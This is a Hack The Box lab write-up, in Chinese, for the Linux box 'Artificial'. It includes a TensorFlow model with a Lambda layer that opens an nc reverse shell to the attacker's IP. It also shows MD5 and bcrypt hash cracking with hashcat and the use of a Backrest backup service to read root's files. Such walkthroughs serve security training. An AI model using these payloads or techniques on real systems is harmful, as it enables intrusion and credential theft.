---
# System prepended metadata

title: Hack The Box - Artificial Writeup
tags: [Hashcat, Hack The Box, restic, tensorflow]

---

# Hack The Box - Artificial Writeup
Writeup for the box Artificial in Hack The Box.

## Box Info

| Name       | OS    | Difficulty |
|:---------- | ----- |:---------- |
| Artificial | Linux | Easy       |


## Recon
### Nmap

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/Artificial]
└─$ sudo nmap 10.10.11.74 -oA nmap/initial
Nmap scan report for 10.10.11.74
Host is up (0.94s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Wed Jul  9 14:39:14 2025 -- 1 IP address (1 host up) scanned in 3.75 seconds
```

### Web Service - Port 80

一打開網頁就會被導向 `artificial.htb`，將域名加入 hosts 中就能看到網頁：

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/Artificial]
└─$ echo "\n10.10.11.74 artificial.htb" | sudo tee -a /etc/hosts

10.10.11.74 artificial.htb
```

![image](https://hackmd.io/_uploads/rJy8gITSee.png)

註冊並登入後，就可以在網站上傳和運行模型。

![image](https://hackmd.io/_uploads/SyJ2xIpBgg.png)

另外，從網站首頁或 `requirements` 連結可以知道網站支持的是 `tensorflow` 框架。

## Shell as app

從下面的 Blog 可以知道 Tensorflow 的 Lambda layer 允許執行任意 Python code，因此我們可以在裡面塞入 Reverse shell payload 來讓 server 執行：

{%preview https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model %}

```python
import tensorflow as tf

def exploit(x):
    import os
    os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.2 9001 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
```

![image](https://hackmd.io/_uploads/SkSHu0nBeg.png)

上傳並點擊 `View Predictions` 後就會觸發 Reverse shell 指令：

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/Artificial]
└─$ nc -lvnp 9001           
listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.74] 54396
bash: cannot set terminal process group (808): Inappropriate ioctl for device
bash: no job control in this shell
app@artificial:~/app$
```

## Shell as gael

查看 app 目錄底下有什麼檔案：

```bash
app@artificial:~/app$ ls -al   
ls -al
total 36
drwxrwxr-x 7 app app 4096 Jun  9 13:56 .
drwxr-x--- 6 app app 4096 Jun  9 10:52 ..
-rw-rw-r-- 1 app app 7846 Jun  9 13:54 app.py
drwxr-xr-x 2 app app 4096 Jul 10 16:23 instance
drwxrwxr-x 2 app app 4096 Jul 10 16:23 models
drwxr-xr-x 2 app app 4096 Jun  9 13:55 __pycache__
drwxrwxr-x 4 app app 4096 Jun  9 13:57 static
drwxrwxr-x 2 app app 4096 Jun 18 13:21 templates
```

從 `app.py` 中可以知道有一個 sqlite db `users.db`，並且裡面的密碼是使用 md5 作為 hash function：

```python
# app.py

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'

<SNIP>

def hash(password):
 password = password.encode()
 hash = hashlib.md5(password).hexdigest()
 return hash
```

查看 user table 可以看到多個使用者和他們的 password hash：

```bash
app@artificial:~/app$ sqlite3 instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
model  user 
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|test|test@htb.com|098f6bcd4621d373cade4e832627b4f6
```

其中 `gael` 同時是系統上的 user，因此可以嘗試爆破密碼：

```bash
app@artificial:~/app$ ls /home/                 
app  gael
```

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/Artificial]
└─$ hashcat -m 0 c99175974b6e192936d97224638a34f8 /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

<SNIP>

c99175974b6e192936d97224638a34f8:mattp005numbertwo
```

爆破出密碼後就可以以 `gael` 的身份進入 server 了：

```bash
app@artificial:~/app$ su gael
Password: 
gael@artificial:/home/app/app$
```


### user.txt

```bash
gael@artificial:~$ cat user.txt 
2b6d9a87************************
```

## Shell as root

### Password brute forcing

透過 `id` 指令可以知道 `gael` 在 `sysadm` group 中，而透過 `find` 則可以知道這個 `group` 擁有 backrest backup file 的權限：

```bash
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
gael@artificial:~$ find / -group sysadm 2>/dev/null
/var/backups/backrest_backup.tar.gz
```

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/Artificial]
└─$ scp gael@10.10.11.74:/var/backups/backrest_backup.tar.gz .
gael@10.10.11.74's password:                                                       
backrest_backup.tar.gz                                                                                                              100%   50MB   1.9MB/s   00:26    
                                         
┌──(parallels㉿kali)-[~/Documents/Hack The Box/Artificial]
└─$ tar -xvf backrest_backup.tar.gz
```

解壓後可以看到裡面有一個 `.config/backrest/config.json`：

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/Artificial]
└─$ tree -a backrest 
backrest
├── backrest
├── .config
│   └── backrest
│       └── config.json
├── install.sh
<SNIP>

6 directories, 13 files
```

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/Artificial]
└─$ cat backrest/.config/backrest/config.json 
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}
```

裡面有一組帳密，其中密碼經過 bcrypt + base64 encode，所以將其 decode 並用 hashcat 爆破密碼：

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/Artificial]
└─$ echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d > hash

┌──(parallels㉿kali)-[~/Documents/Hack The Box/Artificial]
└─$ hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt                           
hashcat (v6.2.6) starting
<SNIP>

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
```

### Backrest

從 Github Readme 可以知道 Backrest 的相關說明：

{%preview https://github.com/garethgeorge/backrest %}

檢查 Backrest 是否開啟：

```bash
gael@artificial:~$ systemctl status backrest                               
● backrest.service - Backrest Service
     Loaded: loaded (/etc/systemd/system/backrest.service; enabled; vendor preset: enabled)
     Active: active (running) since Thu 2025-07-10 07:40:01 UTC; 3min 9s ago
   Main PID: 2012
      Tasks: 7 (limit: 4550)
     Memory: 8.7M
     CGroup: /system.slice/backrest.service
             └─2012 /usr/local/bin/backrest
```

將 Backrest 的 default port 轉發到本機：

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/Artificial/backrest]
└─$ ssh -L 1234:localhost:9898 gael@10.10.11.74
<SNIP>
gael@artificial:~$
```

![image](https://hackmd.io/_uploads/ByQOhx6rex.png)

輸入前面得到的帳密就可以登入網站了：

![image](https://hackmd.io/_uploads/rkjGpeTSee.png)

### Backup and get flag

查看 Backrest 的操作手冊：

{%preview https://garethgeorge.github.io/backrest/introduction/getting-started %}

建立 Repository 和 Plan 來將 `/root` 的資料備份到 `/var/backups`：

![image](https://hackmd.io/_uploads/HyZy18pHxl.png)

![image](https://hackmd.io/_uploads/B1dK0Hprel.png)

點擊 `Backup Now` 建立新的備份：

![image](https://hackmd.io/_uploads/r16EJLTSll.png)

備份後資料就會儲存到 `/var/backups` 了，接下來選擇 `Restore to path`：

![image](https://hackmd.io/_uploads/r1U_k8Trxg.png)

點擊 Restore 後的紀錄之後就可以選擇 `Download File(s)` 來下載 root.txt 了。

![image](https://hackmd.io/_uploads/BkPokITSlx.png)


### root.txt

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/Artificial]
└─$ cat root.txt                              
c75649f5************************
```